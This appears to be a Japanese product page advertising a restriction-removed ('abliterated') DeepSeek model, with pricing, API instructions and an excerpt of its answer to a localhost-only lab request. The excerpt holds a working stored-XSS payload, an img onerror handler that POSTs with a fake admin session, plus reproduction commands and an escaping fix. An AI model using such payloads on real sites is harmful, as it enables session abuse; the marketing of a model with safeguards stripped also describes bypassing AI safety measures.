Build a working stored-XSS exploit chain in a deliberately vulnerable localhost-only notes app. Give a minimal Node.js server with no dependencies, a malicious saved comment that bypasses a naive script-tag filter using an event handler, and exact reproduction commands. When a simulated admin views the comment, the payload must use that fake admin session to POST to a same-origin /admin/banner endpoint and set the banner to OWNED IN THE LAB. Use only fake cookies and local endpoints: no real credentials, remote targets, or data exfiltration. Include the safe rendering fix. Keep it compact, under 400 words.
DeepSeek V4.1 Flash Abliterated Fast
deepseek-v4.1-flash-abliterated-fastブラウザのチャットと OpenAI 互換 API で利用できます。
トークン料金
100万トークン当たりのUSD料金
- 入力 / 1M
- $1.400
- キャッシュ / 1M
- $0.320
- 出力 / 1M
- $1.400
モデル仕様
DeepSeek · 制限除去済み
- コンテキストウィンドウ
- 1,000,000 トークン
- 最大出力
- 65,536 トークン
- 機能
- テキスト · ストリーミング · ツール呼び出し
実測性能
- 平均トークン/秒
- ≈ 218.4
- TTFT 推定値
- 1.6 s
- 稼働率の参考値
- 100%
更新 2026/11/01 20:37:37 UTC · プロバイダーの 24 時間成功率 · ダッシュは最新の測定データが不足していることを示します。
モデルの回答を見る
localhost 専用ラボの 保存型 XSS に関する質問への実際の回答です。元の質問と回答は英語です。出力はテキストとして表示され、このページでは例のコードを実行しません。
DeepSeek V4.1 Flash Abliterated Fast
記録したモデルの回答 · 2026/10/28 19:02 UTC
記録した回答からの抜粋です。一部を省略しています。
Reproduce:
node server.js
curl -s -X POST http://localhost:3000/comment \
--data-urlencode "comment=<img src=x onerror=\"fetch('/admin/banner',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:'banner=OWNED%20IN%20THE%20LAB'})\">"
xdg-open 'http://localhost:3000/admin/view?admin=1' # macOS: open ...
sleep 1
curl -s http://localhost:3000/bannerExpected: OWNED IN THE LAB.
The stored <img onerror=...> survives the naive <script> filter. /admin/view?admin=1 sets the fake admin=1 cookie, renders the comment, and the same-origin fetch POSTs to /admin/banner with that cookie.
Safe fix: always render comments with esc(c); e.g. visit /admin/view?admin=1&safe=1, and the payload appears as text.
記録された例です。ライブチャットではありません。チャットを開く
API でこのモデルを使う
API キーを作成してクレジットを追加してください。環境変数 UNCENSOREDLABS_API_KEY を設定します。JavaScript または Python の例には openai パッケージをインストールしてください。
curl --no-buffer https://uncensoredlabs.dev/v1/chat/completions \
-H "Authorization: Bearer $UNCENSOREDLABS_API_KEY" \
-H "Content-Type: application/json" \
-d '{
"model": "deepseek-v4.1-flash-abliterated-fast",
"messages": [{"role": "user", "content": "Hello, world."}],
"max_tokens": 256,
"stream": true
}' OpenAI互換。ベースURLを変更するだけ。クイックスタートを読む
制限と請求
- フィルターなしでもすべての質問への回答は保証されません。回答が不正確、不完全になる場合や、拒否される場合があります。
- 最大出力は UncensoredLabs のサービス上限です。長時間の生成やコンテキスト全体を使う処理のベンチマークは未実施です。
- 要求された出力と保守的な入力上限に応じてクレジットを予約します。リクエストサイズに基づく計量が未検証のモデルではコンテキスト全体を使用します。最終料金は検証済み使用量で精算し、不確実なリクエストの予約は保持される場合があります。
- 制限時間は 10 分です。レート制限、同時実行制限、提供元の稼働状況が適用されます。API エラーには Retry-After 付きの 429 応答があります。
- UncensoredLabs はサーバー上に質問や回答を保存しません。推論提供元の保持ポリシーが適用されます。